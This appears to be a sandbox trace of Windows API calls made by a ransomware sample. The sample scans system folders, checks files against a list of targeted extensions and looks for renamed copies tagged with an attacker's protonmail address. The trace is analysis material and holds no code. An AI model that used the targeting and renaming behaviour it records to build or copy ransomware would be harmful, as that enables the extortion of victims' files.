	[0166.955] CreateFileW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0
	[0166.955] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=74072) returned 1
	[0166.955] CloseHandle (hObject=0x3c0) returned 1
	[0166.955] GetFileAttributesW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20
	[0166.955] GetFileAttributesW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0166.955] CreateFileW (lpFileName="C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.956] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0166.956] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0166.956] lstrlenW (lpString=".doc") returned 4
	[0166.956] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.956] lstrlenW (lpString=".docx") returned 5
	[0166.956] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.956] lstrlenW (lpString=".pdf") returned 4
	[0166.956] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.956] lstrlenW (lpString=".xls") returned 4
	[0166.956] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0166.956] lstrlenW (lpString=".xlsx") returned 5
	[0166.956] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0166.956] lstrlenW (lpString=".ppt") returned 4
	[0166.956] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.956] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0166.956] lstrlenW (lpString=".zip") returned 4
	[0166.956] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0166.956] lstrlenW (lpString=".rar") returned 4
	[0166.956] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0166.956] lstrlenW (lpString=".bz2") returned 4
	[0166.956] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.956] lstrlenW (lpString=".7z") returned 3
	[0166.956] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.956] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0166.956] lstrlenW (lpString=".dbf") returned 4
	[0166.957] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0166.957] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0166.957] lstrlenW (lpString=".1cd") returned 4
	[0166.957] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.957] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0166.957] lstrlenW (lpString=".jpg") returned 4
	[0166.957] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0166.957] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0166.957] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29
	[0166.957] lstrlenW (lpString=".doc") returned 4
	[0166.957] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.957] lstrlenW (lpString=".docx") returned 5
	[0166.957] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.957] lstrlenW (lpString=".pdf") returned 4
	[0166.957] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.957] lstrlenW (lpString=".xls") returned 4
	[0166.957] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0166.957] lstrlenW (lpString=".xlsx") returned 5
	[0166.957] Sleep (dwMilliseconds=0x64) 
	[0167.306] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0167.418] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=74144) returned 1
	[0167.419] CloseHandle (hObject=0x370) returned 1
	[0167.419] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20
	[0167.419] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.419] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.419] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0167.419] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0167.419] lstrlenW (lpString=".doc") returned 4
	[0167.419] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.419] lstrlenW (lpString=".docx") returned 5
	[0167.419] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.419] lstrlenW (lpString=".pdf") returned 4
	[0167.419] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.419] lstrlenW (lpString=".xls") returned 4
	[0167.419] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.419] lstrlenW (lpString=".xlsx") returned 5
	[0167.419] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.419] lstrlenW (lpString=".ppt") returned 4
	[0167.420] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.420] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0167.420] lstrlenW (lpString=".zip") returned 4
	[0167.420] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.420] lstrlenW (lpString=".rar") returned 4
	[0167.420] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.420] lstrlenW (lpString=".bz2") returned 4
	[0167.420] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.420] lstrlenW (lpString=".7z") returned 3
	[0167.420] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.420] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0167.420] lstrlenW (lpString=".dbf") returned 4
	[0167.420] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.420] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0167.420] lstrlenW (lpString=".1cd") returned 4
	[0167.420] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.420] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0167.420] lstrlenW (lpString=".jpg") returned 4
	[0167.420] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.420] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0167.420] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0167.420] lstrlenW (lpString=".doc") returned 4
	[0167.420] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.420] lstrlenW (lpString=".docx") returned 5
	[0167.420] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.420] lstrlenW (lpString=".pdf") returned 4
	[0167.420] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.421] lstrlenW (lpString=".xls") returned 4
	[0167.421] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.421] lstrlenW (lpString=".xlsx") returned 5
	[0167.421] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.421] lstrlenW (lpString=".ppt") returned 4
	[0167.421] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.421] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0167.421] lstrlenW (lpString=".zip") returned 4
	[0167.421] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.421] lstrlenW (lpString=".rar") returned 4
	[0167.421] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.421] lstrlenW (lpString=".bz2") returned 4
	[0167.421] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.421] lstrlenW (lpString=".7z") returned 3
	[0167.421] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.421] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0167.421] lstrlenW (lpString=".dbf") returned 4
	[0167.421] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.421] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0167.421] lstrlenW (lpString=".1cd") returned 4
	[0167.421] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.421] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29
	[0167.421] lstrlenW (lpString=".jpg") returned 4
	[0167.421] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.422] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0167.422] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0167.422] CreateFileW (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0167.427] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=77664) returned 1
	[0167.427] CloseHandle (hObject=0x370) returned 1
	[0167.427] GetFileAttributesW (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20
	[0167.427] GetFileAttributesW (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.427] CreateFileW (lpFileName="C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.427] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29
	[0167.427] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29
	[0167.427] lstrlenW (lpString=".doc") returned 4
	[0167.427] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.427] lstrlenW (lpString=".docx") returned 5
	[0167.427] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.427] lstrlenW (lpString=".pdf") returned 4
	[0167.427] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.427] lstrlenW (lpString=".xls") returned 4
	[0167.427] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.427] lstrlenW (lpString=".xlsx") returned 5
	[0167.427] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.427] lstrlenW (lpString=".ppt") returned 4
	[0167.427] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.428] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29
	[0167.428] lstrlenW (lpString=".zip") returned 4
	[0167.428] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.428] lstrlenW (lpString=".rar") returned 4
	[0167.428] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.428] lstrlenW (lpString=".bz2") returned 4
	[0167.428] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.428] lstrlenW (lpString=".7z") returned 3
	[0167.428] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.428] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29
	[0167.428] lstrlenW (lpString=".dbf") returned 4
	[0167.428] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.428] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29
	[0167.428] lstrlenW (lpString=".1cd") returned 4
	[0167.428] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.429] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29
	[0167.429] lstrlenW (lpString=".jpg") returned 4
	[0167.429] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.429] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29
	[0167.430] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29
	[0167.430] lstrlenW (lpString=".doc") returned 4
	[0167.430] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.430] lstrlenW (lpString=".docx") returned 5
	[0167.430] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.430] lstrlenW (lpString=".pdf") returned 4
	[0167.430] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.430] lstrlenW (lpString=".xls") returned 4
	[0167.430] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.430] lstrlenW (lpString=".xlsx") returned 5
	[0167.430] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.430] lstrlenW (lpString=".ppt") returned 4
	[0167.430] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.430] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29
	[0167.430] lstrlenW (lpString=".zip") returned 4
	[0167.430] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.430] lstrlenW (lpString=".rar") returned 4
	[0167.430] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.430] lstrlenW (lpString=".bz2") returned 4
	[0167.430] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.430] lstrlenW (lpString=".7z") returned 3
	[0167.430] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.430] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29
	[0167.430] lstrlenW (lpString=".dbf") returned 4
	[0167.430] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.430] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29
	[0167.430] lstrlenW (lpString=".1cd") returned 4
	[0167.430] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.430] lstrlenW (lpString="C:\\Boot\\es-MX\\bootmgr.exe.mui") returned 29
	[0167.430] lstrlenW (lpString=".jpg") returned 4
	[0167.430] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.431] Sleep (dwMilliseconds=0x64) 
	[0167.709] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.709] lstrlenW (lpString="msjh_boot.ttf") returned 13
	[0167.709] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.770] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=164347) returned 1
	[0167.770] CloseHandle (hObject=0x474) returned 1
	[0167.770] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20
	[0167.770] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.770] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.770] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0167.770] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0167.770] lstrlenW (lpString=".doc") returned 4
	[0167.770] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.770] lstrlenW (lpString=".docx") returned 5
	[0167.770] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.770] lstrlenW (lpString=".pdf") returned 4
	[0167.770] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.770] lstrlenW (lpString=".xls") returned 4
	[0167.770] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.770] lstrlenW (lpString=".xlsx") returned 5
	[0167.770] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.770] lstrlenW (lpString=".ppt") returned 4
	[0167.770] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.770] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0167.771] lstrlenW (lpString=".zip") returned 4
	[0167.771] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.771] lstrlenW (lpString=".rar") returned 4
	[0167.771] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.771] lstrlenW (lpString=".bz2") returned 4
	[0167.771] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.771] lstrlenW (lpString=".7z") returned 3
	[0167.771] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.771] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0167.771] lstrlenW (lpString=".dbf") returned 4
	[0167.771] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.771] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0167.771] lstrlenW (lpString=".1cd") returned 4
	[0167.771] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.771] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0167.771] lstrlenW (lpString=".jpg") returned 4
	[0167.771] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.771] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0167.771] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0167.771] lstrlenW (lpString=".doc") returned 4
	[0167.771] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.771] lstrlenW (lpString=".docx") returned 5
	[0167.771] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.771] lstrlenW (lpString=".pdf") returned 4
	[0167.771] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.771] lstrlenW (lpString=".xls") returned 4
	[0167.771] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.772] lstrlenW (lpString=".xlsx") returned 5
	[0167.772] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.772] lstrlenW (lpString=".ppt") returned 4
	[0167.772] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.772] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0167.772] lstrlenW (lpString=".zip") returned 4
	[0167.772] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.772] lstrlenW (lpString=".rar") returned 4
	[0167.772] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.772] lstrlenW (lpString=".bz2") returned 4
	[0167.772] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.772] lstrlenW (lpString=".7z") returned 3
	[0167.772] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.772] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0167.772] lstrlenW (lpString=".dbf") returned 4
	[0167.772] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.772] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0167.772] lstrlenW (lpString=".1cd") returned 4
	[0167.772] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.772] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0167.772] lstrlenW (lpString=".jpg") returned 4
	[0167.772] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.772] Sleep (dwMilliseconds=0x64) 
	[0168.096] Sleep (dwMilliseconds=0x64) 
	[0168.499] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0168.499] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26
	[0168.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0168.537] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=307416) returned 1
	[0168.537] CloseHandle (hObject=0x4b0) returned 1
	[0168.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20
	[0168.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0168.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0168.538] lstrlenW (lpString=".doc") returned 4
	[0168.538] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.538] lstrlenW (lpString=".docx") returned 5
	[0168.538] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0168.538] lstrlenW (lpString=".pdf") returned 4
	[0168.538] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.538] lstrlenW (lpString=".xls") returned 4
	[0168.538] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.538] lstrlenW (lpString=".xlsx") returned 5
	[0168.538] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0168.538] lstrlenW (lpString=".ppt") returned 4
	[0168.538] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0168.538] lstrlenW (lpString=".zip") returned 4
	[0168.538] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.538] lstrlenW (lpString=".rar") returned 4
	[0168.538] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.538] lstrlenW (lpString=".bz2") returned 4
	[0168.538] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.538] lstrlenW (lpString=".7z") returned 3
	[0168.538] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0168.538] lstrlenW (lpString=".dbf") returned 4
	[0168.539] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0168.539] lstrlenW (lpString=".1cd") returned 4
	[0168.539] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0168.539] lstrlenW (lpString=".jpg") returned 4
	[0168.539] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0168.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0168.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0168.539] lstrlenW (lpString=".doc") returned 4
	[0168.539] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0168.539] lstrlenW (lpString=".docx") returned 5
	[0168.539] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0168.539] lstrlenW (lpString=".pdf") returned 4
	[0168.539] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0168.539] lstrlenW (lpString=".xls") returned 4
	[0168.539] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0168.539] lstrlenW (lpString=".xlsx") returned 5
	[0168.539] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0168.539] lstrlenW (lpString=".ppt") returned 4
	[0168.539] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0168.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0168.539] lstrlenW (lpString=".zip") returned 4
	[0168.539] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0168.539] lstrlenW (lpString=".rar") returned 4
	[0168.539] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0168.539] lstrlenW (lpString=".bz2") returned 4
	[0168.539] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0168.539] lstrlenW (lpString=".7z") returned 3
	[0168.540] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0168.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0168.540] lstrlenW (lpString=".dbf") returned 4
	[0168.540] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0168.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0168.540] lstrlenW (lpString=".1cd") returned 4
	[0168.540] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0168.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0168.540] lstrlenW (lpString=".jpg") returned 4
